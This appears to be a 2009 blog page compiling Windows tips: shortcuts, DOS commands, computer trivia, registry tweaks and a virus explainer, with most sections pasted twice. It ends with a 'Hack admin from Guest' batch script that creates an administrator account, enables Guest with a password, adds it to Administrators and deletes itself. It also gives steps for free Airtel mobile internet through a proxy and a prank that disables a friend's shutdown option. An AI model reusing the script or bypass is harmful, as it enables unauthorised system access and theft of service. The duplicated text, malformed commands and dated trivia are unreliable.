BACKSPACE View the folder one level up in My Computer or Windows Explorer
CTRL+A Select all
CTRL+B Bold
CTRL+C Copy
CTRL+I Italics
CTRL+O Open an item
CTRL+U Underline
CTRL+V Paste
CTRL+X Cut
CTRL+Z Undo
CTRL+F4 Close the active document
CTRL while dragging Copy selected item
CTRL+SHIFT while dragging Create shortcut to selected iteM
CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
ESC Cancel the current task
F1 Displays Help
F2 Rename selected item
F3 Search for a file or folder
F4 Display the Address bar list in My Computer or Windows Explorer
F5 Refresh the active window
F6 Cycle through screen elements in a window or on the desktop
F10 Activate the menu bar in the active program
SHIFT+F10 Display the shortcut menu for the selected item
CTRL+ESC Display the Start menu
SHIFT+CTRL+ESC Launches Task Manager
SHIFT when you insert a CD Prevent the CD from automatically playing
WIN Display or hide the Start menu
WIN+BREAK Display the System Properties dialog box
WIN+D Minimizes all Windows and shows the Desktop
WIN+E Open Windows Explorer
WIN+F Search for a file or folder
WIN+F+CTRL Search for computers
WIN+L Locks the desktop
WIN+M Minimize or restore all windows
WIN+R Open the Run dialog box
WIN+TAB Switch between open items
__________________
Run Commands
Command Prompt:
ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND - Causes MS-DOS to look in other directories when editing a file or running a command.
ARP - Displays, adds, and removes arp information from network devices.
ASSIGN - Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it's original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications
ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND - Causes MS-DOS to look in other directories when editing a file or running a command.
ARP - Displays, adds, and removes arp information from network devices.
ASSIGN - Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it's original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications
Add/Remove Programs control appwiz.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl
compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders
gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 _ System Information
sysedit _ System Edit
win.ini _ windows loading information(also system.ini)
winver _ Shows current version of windows
mailto: _ Opens default email client
command _ Opens command prompt
Some Interesting Computer Facts!!!
(1). An Amd 1400 chip running without a heatsink gets as hot as 370 degrees.
(2). Seagate introduced the first hdd for pcs in 1979.It held 5 M.B of data.
(3). If u opened up the case of the original Macintosh, u will find 47 signatures one for each member of Apple's Macintosh divison as of 1982.
(4). The first computer company to register for a domain name was digital equipment corporation.
(5). Did u know Apple & Sun came very close to a merger in 1996.
(6). The technology contained in a single game boy unit in 2000 exceeds all the computing power that was used to put the first man on moon in 1969.
(7). Hewlett Packard was started at a garage in Palo Alto in 1939.
8).Tetris has sold over 40 million copies worldwide, since it began in 1982.That provided the creator 800 million in revenues.
9).The superflop sega dreamcast, released in 1999, was the first console game machine to sport a 128 Bit architecture.
10).The most expensive game ever developed was "ShenMue" for sega dreamcast.It costs $20 million.
11).The QWERTY keyboard layout is 129 years old.
12).South Korea's SK telecom offers an inaudible ring tone to its customers which, it claims, can repel mosquitoes.
13).In 1971, the first speech recognition software named, "Hearsay" was developed in India.
14).Macquariums are aquariums made from old macintosh computers.
15).The servers are in Denmark.The software is from Estonia.The domain is registered in Australia & the corporation is in south pacific island.That was Kazaa, the p2p software.
16).Bill gates & Paul Allen started a company called Traf-O-Data to monitor traffic flow.
17).The four largest software makers in the world are:-
(a) Microsoft
(b) Adobe
(c) Sap
(d) Computer Associates.
(18)Top Ten Supercomputers of Today:-
Arranged according to the speed:-
1. Bluegene/L DD2 Beta-system(IBM).
2. Columbia (NASA).
3. Earth Simulator (NEC).
4. MareNostrum (Barcelona Supercomputer Center).
5. Thunder (Lawrence Livermore National Laboratory).
6. ASCI Q (Los Alamos National Laboratory).
7. System X (Virgina Tech).
8. Blugene/L DD1 Prototype(IBM).
9. eServer pSeries 655 cluster (Naval Oceanographic Office).
10. Tungsten (National Center For Supercomputing Applications).
19). According to university of California 1,693,000 terabytes of information are produced & stored magnetically per year.
20).Hard drives in the near future are expected to have a track density of about 100,000 tracks/inch.This means that tracks are spaced 10 millionths of an inch apart.
21).One terabyte(1000 gigabytes) is equivalent to storing a stack of documents that is more than 16 times the height of New York's empire state building.
22. The 4004 was the first microprocessor of Intel.
23. The nVidia GeForce 6800 ultra has 222 million transistors which is the record for the max. no. transistors on a chip.
24. James Gosling created java at Sun Microsystems. He came up with the name Java while debating over it at a coffee shop.
25. The first ISP was Compuserve, established in 1969 which is now under AOL.
26. The Palm O.S fits in less than 100 K,which is less than one percent the size of Windows 98 or Mac O.S.
27. What does 50 G.B of storage really mean? It means we can stack 3 piles of single spaced type written pages taller than the Eiffel tower and data to support this information is about 50 gigabytes.
28. The code name for the 12 engineers who designed the IBM PC was :-
'The dirty dozen'.
29. When the CD was invented, it was decided that a CD should be long enough to hold Beethoven's Ninth Symphony at any tempo which was precisely 72 minutes.
30)128 bit SSL encryption is so strong that it would take much , much longer than the age of universe to crack a message encrypted using it. Even 20 years from now, if computers are a million times faster. it would still take longer than the age of the universe to crack it.
31)Bill Gates' math SAT score was a perfect 800.
32)Bill Gates' home was designed using a Mac!
33)Disk drive recording head fly height (gap between the head and disc when the drive is spinning ) is less than 1 microinch while:-
A red blood cell is 300 microinches is diameter.
A particle of tobacco smoke is 250 microinches.
A particle of smog is 100 microinches.
A human hair is 4000 microinches.
34)When Windows 3.1 was launched, 3 million copies were sold in the first two months.
35)Windows 95 can run on 386DX at 20 Megahertz, with just 4 M.B of RAM.
36)David Bradley wrote the code for [Ctr]+[Alt]+[Delete] key sequence
(2). Seagate introduced the first hdd for pcs in 1979.It held 5 M.B of data.
(3). If u opened up the case of the original Macintosh, u will find 47 signatures one for each member of Apple's Macintosh divison as of 1982.
(4). The first computer company to register for a domain name was digital equipment corporation.
(5). Did u know Apple & Sun came very close to a merger in 1996.
(6). The technology contained in a single game boy unit in 2000 exceeds all the computing power that was used to put the first man on moon in 1969.
(7). Hewlett Packard was started at a garage in Palo Alto in 1939.
8).Tetris has sold over 40 million copies worldwide, since it began in 1982.That provided the creator 800 million in revenues.
9).The superflop sega dreamcast, released in 1999, was the first console game machine to sport a 128 Bit architecture.
10).The most expensive game ever developed was "ShenMue" for sega dreamcast.It costs $20 million.
11).The QWERTY keyboard layout is 129 years old.
12).South Korea's SK telecom offers an inaudible ring tone to its customers which, it claims, can repel mosquitoes.
13).In 1971, the first speech recognition software named, "Hearsay" was developed in India.
14).Macquariums are aquariums made from old macintosh computers.
15).The servers are in Denmark.The software is from Estonia.The domain is registered in Australia & the corporation is in south pacific island.That was Kazaa, the p2p software.
16).Bill gates & Paul Allen started a company called Traf-O-Data to monitor traffic flow.
17).The four largest software makers in the world are:-
(a) Microsoft
(b) Adobe
(c) Sap
(d) Computer Associates.
(18)Top Ten Supercomputers of Today:-
Arranged according to the speed:-
1. Bluegene/L DD2 Beta-system(IBM).
2. Columbia (NASA).
3. Earth Simulator (NEC).
4. MareNostrum (Barcelona Supercomputer Center).
5. Thunder (Lawrence Livermore National Laboratory).
6. ASCI Q (Los Alamos National Laboratory).
7. System X (Virgina Tech).
8. Blugene/L DD1 Prototype(IBM).
9. eServer pSeries 655 cluster (Naval Oceanographic Office).
10. Tungsten (National Center For Supercomputing Applications).
19). According to university of California 1,693,000 terabytes of information are produced & stored magnetically per year.
20).Hard drives in the near future are expected to have a track density of about 100,000 tracks/inch.This means that tracks are spaced 10 millionths of an inch apart.
21).One terabyte(1000 gigabytes) is equivalent to storing a stack of documents that is more than 16 times the height of New York's empire state building.
22. The 4004 was the first microprocessor of Intel.
23. The nVidia GeForce 6800 ultra has 222 million transistors which is the record for the max. no. transistors on a chip.
24. James Gosling created java at Sun Microsystems. He came up with the name Java while debating over it at a coffee shop.
25. The first ISP was Compuserve, established in 1969 which is now under AOL.
26. The Palm O.S fits in less than 100 K,which is less than one percent the size of Windows 98 or Mac O.S.
27. What does 50 G.B of storage really mean? It means we can stack 3 piles of single spaced type written pages taller than the Eiffel tower and data to support this information is about 50 gigabytes.
28. The code name for the 12 engineers who designed the IBM PC was :-
'The dirty dozen'.
29. When the CD was invented, it was decided that a CD should be long enough to hold Beethoven's Ninth Symphony at any tempo which was precisely 72 minutes.
30)128 bit SSL encryption is so strong that it would take much , much longer than the age of universe to crack a message encrypted using it. Even 20 years from now, if computers are a million times faster. it would still take longer than the age of the universe to crack it.
31)Bill Gates' math SAT score was a perfect 800.
32)Bill Gates' home was designed using a Mac!
33)Disk drive recording head fly height (gap between the head and disc when the drive is spinning ) is less than 1 microinch while:-
A red blood cell is 300 microinches is diameter.
A particle of tobacco smoke is 250 microinches.
A particle of smog is 100 microinches.
A human hair is 4000 microinches.
34)When Windows 3.1 was launched, 3 million copies were sold in the first two months.
35)Windows 95 can run on 386DX at 20 Megahertz, with just 4 M.B of RAM.
36)David Bradley wrote the code for [Ctr]+[Alt]+[Delete] key sequence
hide ur folders without the usage of folder lock
suppose u want to hide a folder named jay which is in D: of ur computer
go to command prompt
start--->run--->cmd-->d:
after changing it from C: to D:
type D:/>attrib +h +s jay
the above command is to hide the folder
to show the folder
tyoe D:/>attrib -h -s jay
in this type of hidding the folder cannot be viewed even if we make advance search or even changing the folders menu to (show all hidden files)
go to command prompt
start--->run--->cmd-->d:
after changing it from C: to D:
type D:/>attrib +h +s jay
the above command is to hide the folder
to show the folder
tyoe D:/>attrib -h -s jay
in this type of hidding the folder cannot be viewed even if we make advance search or even changing the folders menu to (show all hidden files)
Be careful while using Ctrl+C
We do copy various data by ctrl+c for pasting elsewhere. This copied
data is stored in clipboard and is accessible from the net by a
combination of Javascripts and ASP.
Just try this:
1) Copy any text by ctrl+c
2) Click the Link:
http://www.sourcecodesworld.com/special/clipboard.asp
3) You will see the text you copied on the Screen which was
accessed by this web page.
Do not keep sensitive data (like passwords, creditcard numbers, PIN
etc.) in the clipboard while surfing the web. It is extremely easy to
extract the text stored in the clipboard to steal your sensitive
information.
I hope you understand the risk now.
data is stored in clipboard and is accessible from the net by a
combination of Javascripts and ASP.
Just try this:
1) Copy any text by ctrl+c
2) Click the Link:
http://www.sourcecodesworld.com/special/clipboard.asp
3) You will see the text you copied on the Screen which was
accessed by this web page.
Do not keep sensitive data (like passwords, creditcard numbers, PIN
etc.) in the clipboard while surfing the web. It is extremely easy to
extract the text stored in the clipboard to steal your sensitive
information.
I hope you understand the risk now.
FREE Airtel GPRS
You need a PC or a Laptop and the required connectivity tools ,ie.,
Serial/USB cable OR Infrared Device OR Bluetooth dongle
1) Activate Airtel Live! ( It's FREE so no probs)
2) Create TWO Airtel gprs data accounts (yep TWO) and select the
FIRST as the active profile.
3) Connect your mobile to the PC (or Laptop) and install the driver for
your mobile's modem.
4) Create a new dial-up connection using the NEW CONNECTION
WIZARD as follows
Connecting Device : Your mobile's modem
ISP Name : Airtel (or anything you like)
Phone Number : *99***2#
Username and Password : blank
5) Configure your browser and download manager to use the proxy
100.1.200.99 and port 8080.( My advice is to use Opera since you
can browse both wap and regular websites)
6) Connect to the dial-up account. You will be connected at 115.2
kbps (but remember, that is a bad joke).
7) Pick up your mobile and try to access any site. You will get "Access
Denied..."(except for Airtel Live!). IT DOES NOT MATTER.
Keep the mobile down.
8 ) On the PC ( or Laptop) open your browser, enter any address ,
press ENTER and.......WAIT
9) After a few seconds the page will start to load and you have the
WHOLE internet at your disposal. The download speeds are decent.
Serial/USB cable OR Infrared Device OR Bluetooth dongle
1) Activate Airtel Live! ( It's FREE so no probs)
2) Create TWO Airtel gprs data accounts (yep TWO) and select the
FIRST as the active profile.
3) Connect your mobile to the PC (or Laptop) and install the driver for
your mobile's modem.
4) Create a new dial-up connection using the NEW CONNECTION
WIZARD as follows
Connecting Device : Your mobile's modem
ISP Name : Airtel (or anything you like)
Phone Number : *99***2#
Username and Password : blank
5) Configure your browser and download manager to use the proxy
100.1.200.99 and port 8080.( My advice is to use Opera since you
can browse both wap and regular websites)
6) Connect to the dial-up account. You will be connected at 115.2
kbps (but remember, that is a bad joke).
7) Pick up your mobile and try to access any site. You will get "Access
Denied..."(except for Airtel Live!). IT DOES NOT MATTER.
Keep the mobile down.
8 ) On the PC ( or Laptop) open your browser, enter any address ,
press ENTER and.......WAIT
9) After a few seconds the page will start to load and you have the
WHOLE internet at your disposal. The download speeds are decent.
Types of Viruses
File Infector Viruses
The most "Traditional" form of a computer virus is a file infector virus. It injects itself and hides within the code of another program. The program it injects itself into can be anything - as long as it's executable (Some common file extension examples are: EXE, COM, SYS, BAT and PIF). When the infected program is launched, the virus code copies itself to your computer's memory, typically before the original program code is launched. By loading itself onto your system's memory, the virus can continue to run even after the host program is shut down. Before the internet, file infector viruses accounted for an estimated 85% of all virus infections. That number is, however, down, because of the many ways to spread viruses through the internet now-a-days.
Boot Sector Viruses
Boot sector viruses live in the part of the disk that is read into memory and executed when your computer boots up. Once loaded, the virus has potential to infect any other disk, be it a CD, floppy disk, SD card or anything of the sort. A disk-based boot sector virus can also infect a PC's hard disk. Most boot sector viruses were spread through the use of floppy disks, mostly in the days when hard disk's were less common. Since removable disks are far less used today, especially to boot up, the risk of being infected by a boot sector virus is low.
Macro Viruses
Some viruses are created with the macro capabilities of some software. Macros are small programs designed to do very specific tasks within an application. The most common macro language, used in all Microsoft applications is VBA (Visual Basic for Applications). VBA code can be added to a word document to create customs menus and perform automatic operations; unfortunatley VBA code can also be used to modify files and send unwanted e-mail messages automatically. What makes macro viruses particularily dangerous is that macros - and thus macro viruses - can be attached to word documents. Most virus types, especially the older ones, had to be imbedded in executable files, which made them relatively easy to find, delete and stop. But when a document file can be infected, and most users open documents without any second thoughts, its far easier to become infected. Hence, most users who are usually super-vigilant about downloading files often open documents, like said above, with no second thoughts. Because data and word files are shared so freely, especially in corporate networks, it is very easy for macro viruses to spread.
Script Viruses
Script viruses are based on common scripting languages typically used on webpages and in some programs. These viruses are written in JavaScript, ActiveX and Java applets, which commonly run automatically when you visit the webpage. With the increasing use of people browsing the web, these script viruses are becoming far more common, and more deadly. The good news is, however, that if you have real-time web scanning enabled, and the warning bar shows up, you have a fairly low chance of being infected.
Trojan Horses
A trojan horse is a program that claims to do one thing but does something totally different. A typical trojan horse has a filename that makes you think it's innocent enough, and safe to open. But when you open this file, its actually a virus program that proceeds to inflict damage to your system. It delivers it's payload through deception, and the name is based on the Trojan Horse in the work of fiction. Trojan horses are becoming more common, mostly through email. Some trojan horses might even claim to be anti-virus applications but turn out to be deadly, system-wrecking applications.
Worms
A worm is a particularily nasty type of virus that scans the internet or a computer or possibly even a specified network that has a specific security hole. It then copies itself to the new machine through the security hole and then starts replicating itself there and scanning for new targets off the new system. Worms replicate VERY quickly, a network with one computer infected with a worm can be brought to it's knees in a matter of hours. Worms don't nessicarily have to be delivered through conventional file-sharing activities; so called "file-less worms" are recent additions to the virus lists. While operating, these worms exist only in system memory, making it VERY difficult to catch, identify and remove them. These worms could cause large amounts of damage in the near future
Remove shut down option
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Click on start>run(win key+r)
Then tpye “regedit” there, this opens up the registry editor, now goto
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Explorer
Then set “NoClose”=”DWORD:1
Click on start>run(win key+r)
Then tpye “regedit” there, this opens up the registry editor, now goto
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Explorer
Then set “NoClose”=”DWORD:1
Automatically close non-responsive programs
With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually.
To do this:
Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop
Modify the REG_SZ entry AutoEndTasks with a value of 1
To do this:
Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop
Modify the REG_SZ entry AutoEndTasks with a value of 1
Set Wallpapers in Drives
All you have to do is just create a "Notepad" file and copy paste this in your Drive
[{BE098140-A513-11D0-A3A4-00C04FD706EC}] iconarea_image=C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\sunset.jpg iconarea_text=0x00FFFFFF
Save it as desktop.ini
[{BE098140-A513-11D0-A3A4-00C04FD706EC}] iconarea_image=C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\sunset.jpg iconarea_text=0x00FFFFFF
Save it as desktop.ini
Make your start menu run faster
1. Go to to 'run' Type regedit.
2. Browse to HKEY_CURRENT_USER > CONTROL PANEL > DESKTOP
3. There is an key called 'MenuShowDelay'
4. Double click on it and change 400 to 0
5. Click 'ok' and restart your computer to see changes to take effect
Hide your files in jpeg format
Well, did you know you could hide your files in a JPEG file? For this, you will only need to download WinRAR. You just need to have a little knowledge about Command Prompt and have WinRAR installed.
1. Gather all the files that you wish to hide in a folder anywhere in your PC (make it in C:\hidden - RECOMMENDED).
2. Now, add those files in a RAR archive (e.g. secret.rar). This file should also be in the same directory (C:\hidden).
3. Now, look for a simple JPEG picture file (e.g. logo.jpg). Copy/Paste that file also in C:\hidden.
4. Now, open Command Prompt (Go to Run and type ‘cmd‘). Make your working directory C:\hidden.
5. Now type: “COPY /b logo.jpg + secret.rar output.jpg” (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both.
6. Now, after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archive .
Its working accurately, i itself tested.
1. Gather all the files that you wish to hide in a folder anywhere in your PC (make it in C:\hidden - RECOMMENDED).
2. Now, add those files in a RAR archive (e.g. secret.rar). This file should also be in the same directory (C:\hidden).
3. Now, look for a simple JPEG picture file (e.g. logo.jpg). Copy/Paste that file also in C:\hidden.
4. Now, open Command Prompt (Go to Run and type ‘cmd‘). Make your working directory C:\hidden.
5. Now type: “COPY /b logo.jpg + secret.rar output.jpg” (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both.
6. Now, after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archive .
Its working accurately, i itself tested.
Sunday, September 27, 2009
Hack admin from Guest
HaCk "GUEST" with Admin privileges
Copy this to notepad
Quote:
| echo off title Please wait... cls net user add Username Password /add net user localgroup Administrators Username /add net user Guest 420 /active:yes net localgroup Guests Guest /DELETE net localgroup Administrators Guest /add del %0 |
